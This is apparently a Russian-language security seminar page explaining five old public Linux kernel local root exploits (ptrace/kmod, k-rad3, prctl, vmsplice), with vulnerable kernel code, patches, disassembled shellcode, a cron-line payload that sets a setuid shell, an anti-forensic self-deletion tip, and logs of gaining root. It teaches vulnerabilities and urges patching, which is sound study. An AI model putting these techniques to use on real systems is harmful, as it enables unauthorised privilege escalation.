ХакерДом: Seminar/20072008/LinuxKernelExploits ...

Null Page | Каталог | Изменения | НовыеКомментарии | Пользователи | Регистрация | Вход:  Пароль:  

LINUX KERNEL EXPLOITS


BAY (email: bay [at] hackerdom.ru)

Вводные сведения, определения (с википедии большей частью).



Классификация сплойтов.



Речь пойдет о локальных сплойтах(так как удаленных под ядро очень мало в открытом доступе, а те что есть те неактуальны), повышающих привилегии(как самые опасные для системы).


Все рассмотренные сплоиты дают привилегии «рута» на уязвимой системе.


Рассматриваемые сплоиты:

  1. ptrace <=2.4.20, <2.2.25
  2. k-rad3 <=2.6.11
  3. prctl() 2.6.13 – 2.6.17.3
  4. vmsplice 2.6.23 – 2.6.24
  5. vmsplice 2.6.17 – 2.6.24.1

Описание принципов действия сплойтов.


ptrace


Подробно на http://www.sans.org/resources/malwarefaq/Ptrace.php


ptrace – системный вызов, объединяющий несколько функций для отладки и контроля за выполнением процесса(подробнее man ptrace). Уязвимость существует не в самом ptrace, а в логике линуксовского ядра. Называется сполит ptrace'ом потомучто этот системный вызов используется чтобы заюзать уязвимость (иногда сплоит называют kmod или чаще всего ptrace/kmod).


Описание уязвимости: когда ядро загружает дополнительный модуль, создается процесс с правами UID=0 и GID=0, который система позволит отладить и таким образом выполнить произвольный код с привилегиями root.


“If you say Y here, some parts of the kernel will be able to load modules automatically: when a part of the kernel needs a module, it runs modprobe with the appropriate arguments, thereby loading the module if it is available.” (из описания CONFIG_KMOD в конфигураторе ядра)


необходимые условия для того чтобы сплойт сработал:



описание работы сплойта(рекомендую открыть исходник):
Провеяет на то запустились ли мы благодаря suid'ному биту из под рута, если да, то изменяет UID и GID владельца процесса на 0 и запускает shell. Форкается (создает копию процесса).


Родитель:



Потомок:



После того как выполнится шеллкод, у файла программы на диске появится суидный бит, родитель это заметит и перезапустит себя. При этом запуске проверка на то запустились ли мы благодаря suid'ному биту из под рута пройдет, и запустится shell с правами root.


Что делает шеллкод (для понимания необходимо знание ассемблера на начальном уровне):


Dump of assembler code for function cliphcode:

0x0000000000601040 <cliphcode+0>: nop
0x0000000000601041 <cliphcode+1>: nop
0x0000000000601042 <cliphcode+2>: jmp 0x601063 <cliphcode+35>
0x0000000000601044 <cliphcode+4>: mov $0xb6,%eax ; chown
0x0000000000601049 <cliphcode+9>: pop %rbx
0x000000000060104a <cliphcode+10>: xor %ecx,%ecx ; 0
0x000000000060104c <cliphcode+12>: mov %ecx,%edx ; 0
0x000000000060104e <cliphcode+14>: int $0x80
0x0000000000601050 <cliphcode+16>: mov $0xf,%eax ; chmod
0x0000000000601055 <cliphcode+21>: mov $0xded,%ecx ; 6755 (восм)
0x000000000060105a <cliphcode+26>: int $0x80
0x000000000060105c <cliphcode+28>: mov %edx,%eax
0x000000000060105e <cliphcode+30>: mov %edx,%ebx
0x0000000000601060 <cliphcode+32>: rex int $0x80
0x0000000000601063 <cliphcode+35>: callq 0x601044 <cliphcode+4>
0x0000000000601068 <cliphcode+40>: add %al,(%rax)


End of assembler dump.

k-rad3


Целочисленное переполнение в функции sys_epoll_wait.


asmlinkage long sys_epoll_wait(int epfd, struct epoll_event __user *events, int maxevents, int timeout)


уязвимость существует в параметре maxevents.


epoll_wait – один из 3 системных вызовов для управления epoll'ом(еще есть epoll_create и epoll_ctl). epoll'ы используются для слежения за несколькими файловыми дискрипторами сразу на предмет событий (пример событий: появились данные для чтения/записи, зафиксирована ошибка устройства или потока). подробнее вот тут: http://blog.kovyrin.net/2006/04/13/epoll-asynchronous-network-programming/lang/ru/ и вот тут: http://lse.sourceforge.net/epoll/index.html.


необходимые условия для того чтобы сплойт сработал:



примечание:
/* unlink(argv[0]); */
// sync();


в тексте сплойта эти строки написаны не спроста. Если их раскомментировать то после запуска исполняемый файл удалится. В том случае если система повиснет, администратору машины будет сложнее определить источник сбоя.


Описание работы сполйта (очень примерное):



пример поменьше, как перезаписывать память ядра используя epool_wait, можно найти на: http://lists.grok.org.uk/pipermail/full-disclosure/2005-March/032314.html


Для работы сплойта под виртуальной машиной (напр. vmware) может потребоваться вручную в исходном тексте указать адрес idtr.base, который можно узнать командой `cat /boot/System.map|grep idt_table` (примерный результат 0xc04e2000 D idt_table), а затем в исходнике нужно найти и изменить значение на полученное (idtr.base = 0xc04e2000).


пример работы (уязвимое ядро):


bay@BAYsLinuxBox /k-rad3 $ uname -a
Linux BAYsLinuxBox 2.6.11 #3 Sun Mar 2 04:10:22 GMT 2008
i686 AMD Athlon™ 64 X2 Dual Core Processor 4600+ AuthenticAMD GNU/Linux
bay@BAYsLinuxBox /k-rad3 $ id
uid=1000(bay) gid=1000(bay) groups=1000(bay)
bay@BAYsLinuxBox /k-rad3 $ ./k-rad -t2
[ k-rad3 – <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 1 pages (one page is 4K ),rewrite 0xc0000000--(0xc0001000 + n)
[+] thread_size 2 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc04e2000, base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbffee650,num 4100
[+] idt[0x7f] addr 0xffc003f8
[+] j00 1u(k7 k1d!
BAYsLinuxBox k-rad3 # id
uid=0(root) gid=0(root) groups=1000(bay)


пример работы (запатченое ядро):


bay@BAYsLinuxBox /k-rad3 $ ./k-rad -t2
[ k-rad3 – <=linux 2.6.11 CPL 0 kernel exploit ]
..............
[+] idtr.base 0xc04e2000, base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbf97ffe0,num 4100
epoll_wait: Invalid argument
Linux BAYsLinuxBox 2.6.23-gentoo-r8 #4 Wed Feb 27 18:52:34 GMT 2008 i686
AMD Athlon™ 64 X2 Dual Core Processor 4600+ AuthenticAMD GNU/Linux
[-] This kernel not vulnerability!!!


патч:
--- a/fs/eventpoll.c 2005–03–15 16:09:56 -08:00
+++ b/fs/eventpoll.c 2005–03–15 16:09:56 -08:00
@@ -619,6 +619,7 @@
return error;
}


+#define MAX_EVENTS (INT_MAX / sizeof(struct epoll_event))


/*
* Implement the event wait interface for the eventpoll file. It is the kernel
@@ -635,7 +636,7 @@
current, epfd, events, maxevents, timeout));


/* The maximum number of event must be greater than zero */
– if (maxevents <= 0)
+ if (maxevents <= 0 || maxevents > MAX_EVENTS)
return -EINVAL;


/* Verify that the area passed by the user is writeable */


где происходит целочисленное переполнение (вот в этом месте можно открыть fs/eventpoll.c):


/* Verify that the area passed by the user is writeable */
if (!access_ok(VERIFY_WRITE, events, maxevents * sizeof(struct epoll_event))) {
error = -EFAULT;
goto error_return;
}


То есть, если maxevents слишком большое то при умножнеии из-за переполнения получается маленькое число и проверка на то, что в область память которую нам указал пользователь можно писать, может завершиться успехом (поэтому в патче и MAX_EVENTS=(INT_MAX / sizeof(struct epoll_event)) чтоб при умножении не выйти за INT_MAX, а в сплоите unsigned magic = 0xffffffff / 12 + 1).

prctl


Возможность записи в каталоги пользователя root.


С помощью системного вызова prctl можно управлять флагами отвечающими за создание дампов (coredumps) памяти процесса при его аварии. В линуксах 2.6.13–2.6.17 можно было указать, чтобы дампы создавались от имени пользователя root, чтобы исключить возможнось их прочтения кем-то другим, к тому же дампы писались в текущую директорию. Это привело к тому, что стало возможным писать файлы в директории с владельцем – рутом.


необходимые условия для того чтобы сплойт сработал:



описание работы сполйта:


в папке /tmp создаёт файлы getsuid.c и s.c.


getsuid.c: в памяти процесса создается строка по формату схожая с записью cron'a


* * * * * root chown root.root /tmp/s;chmod 4777 /tmp/s;rm -f /etc/cron.d/core\n»;

Эта строка будучи проинтерпретирована cron'ом, каждую минуту будет менять владельца /tmp/s на рута и ставить ему суидный бит (нам достаточно чтоб она исполнилась один раз, поэтому мы делаем rm -f /etc/cron.d/core) процесс распадается на 2(fork). Потомок меняет текущий каталог на /etc/cron.d, с помощью ptctl устанавливает флаг чтоб дампы создавались от имени пользователя root, затем засыпает на 200 секунд. Родитель шлет потомку сигнал SIGSEGV чтобы вызвать создание дампа, затем засыпает на 120 секунд (60 секунд для того чтобы cron увидел файл в /etc/cron.d и 60 – для того, чтобы он выполнил команды (он выполнит в 00 секунд)).

s.c: устанавливает uid'ы и gid'ы в 0, запускает шелл, и удаляет себя с диска.


Компилирует эти два файла и запускает сначала getsuid потом s.c.
Чистит за собой.


запустим:


bay@BAYsLinuxBox ~ $ ./sys_prctl
wait aprox 4 min to get sh
sh-3.2# id
uid=0(root) gid=0(root) groups=1000(bay)
sh-3.2#


в соседней консоли:
BAYsLinuxBox ~ # cd /etc/cron.d/
BAYsLinuxBox cron.d # ls -l
total 64
-rw------- 1 root bay 143360 Mar 16 16:54 core


баг пофиксили в 2.6.17.3. Просто удалили возможность создания дампов от имени пользователя рут.


из man prctl: “Between kernels 2.6.13 and 2.6.17, the value 2 was also permitted, which caused any binary which normally would not be dumped to be dumped readable by root only; for security reasons, this feature has been removed.” (про PR_SET_DUMPABLE)

vmsplice


ссылки:



splice – по английски «соединять». Системный вызов используется чтобы «соединить» пайп и файл. После соединения при чтении из пайпа будет производится чтение из файла, а при записи – запись в файл.


vmsplice – vm от “virtual memory”. Тоже самое что splice только с пайпом соединяется не файл а область памяти.


Системный вызов vmsplice появился с версии 2.6.17. в этом системном вызове была не одна уязвимость. В ядрах 2.6.23–2.6.24 у области памяти которая передавалась вызову vmsplice не проверялись разрешения(можно ли туда писать). Можно было связать произвольную область памяти с пайпом и записывая в него, записывать в память. Это быстро нашли и пофиксили.


Другая уязвимость(2.6.17–2.6.24) была в том что если, наоборот, соединять пайп с памятью (читаем из пайпа – читаем из памяти), то не проверялось, есть ли права на чтение памяти. На первый взгляд эта уязвимость позволяет только читать данные. Но эта уязвимость усилилась еще одной, если мы попытаемся связать область памяти очень большой длины то произойдет целочисленное переполнение.


из fs/splice.c:
npages = (off + len + PAGE_SIZE – 1) >> PAGE_SHIFT;
if (npages > PIPE_BUFFERS – buffers)
npages = PIPE_BUFFERS – buffers;


Это был фрагмент функции get_iovec_page_array. Функция нужна чтобы преобразовать полученные от пользователя данные о памяти(от него получаем базу+длину участка+количество участков) в массив указателей на соответствующие структуры page. Возвращает эта функция указатель на массив структур pages. Максимальный размер этого массива равен PIPE_BUFFERS(16, независимо от архитектуры). Чтобы избежать переполнения этого массива и написан предыдущий код. Но если мы передадим len=ULONG_MAX, то произойдет переполнение и в npages положится число 0.


Прямо вслед за этим идет код:


error = get_user_pages(current,current->mm,(unsigned long) base,npages,0,0,&pages[buffers],NULL);


где current – процесс;
(unsigned long) base – начало;
npages – длина;
&pages[buffers] – куда ложим рез-ат.


get_user_pages используется для того чтобы найти указатели на соответствующующие структуры page (соответствующие виртуальным адресам которые указал пользователь). Функция описана в /mm/memory.c (очень рекомендую заглянуть). Она не расчитана на то, что ей будут передавать длину – 0 (когда загляните, рекомендую сделать поиск по len и понять почему не расчитана). В результате в массив который должна вернуть(через аргументы) функция get_iovec_page_array запишется больше чем PIPE_BUFFERS элементов. В результате память окажется повреждена. Используя это можно заставить ядро выполнить произвольный код (почему он выполняется до сих пор остается для меня загадкой.. об этом можно попробовать почитать на http://lwn.net/Articles/269532/)


необходимые условия для того чтобы сплойт сработал:



запустим (уязвимая система):


bay@BAYsLinuxBox /vmsplice/expl $ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d87000 .. 0xb7db9000
[+] root


запустим (<2.6.17):
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
......
[+] mmap: 0xb7e85000 .. 0xb7eb7000
[-] vmsplice: Function not implemented


запустим (на запатченной системе):
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
......
[+] mmap: 0xb7db8000 .. 0xb7dea000
[-] vmsplice: Bad address


патч:
--- a/fs/splice.c
+++ b/fs/splice.c
@@ -1234,7 +1234,7 @@ static int get_iovec_page_array(const struct iovec __user *iov,
if (unlikely(!len))

break;

error = -EFAULT;
– if (unlikely(!base))
+ if (!access_ok(VERIFY_READ, base, len))

break;

/*


Заключения:


1. Многие версии линукса уязвимы к локальным сплойтам, сплойты можно найти в открытом доступе, постоянно находятся новые уязвимости.
2. Следствие первого: надо регулярно следить за вновь появившемися уязвимостями/сплойтами и вовремя патчится.


--------------------
Комментарии, вопросы, указания на ошибки, а также толковые объяснения почему выполнится код в сплойте vmsplice можете слать ко мне
в почтовый ящик (см. вверху).


18.03.2007, 20:59


 
Файлов нет. [Показать файлы/форму]
Комментариев нет. [Показать комментарии/форму]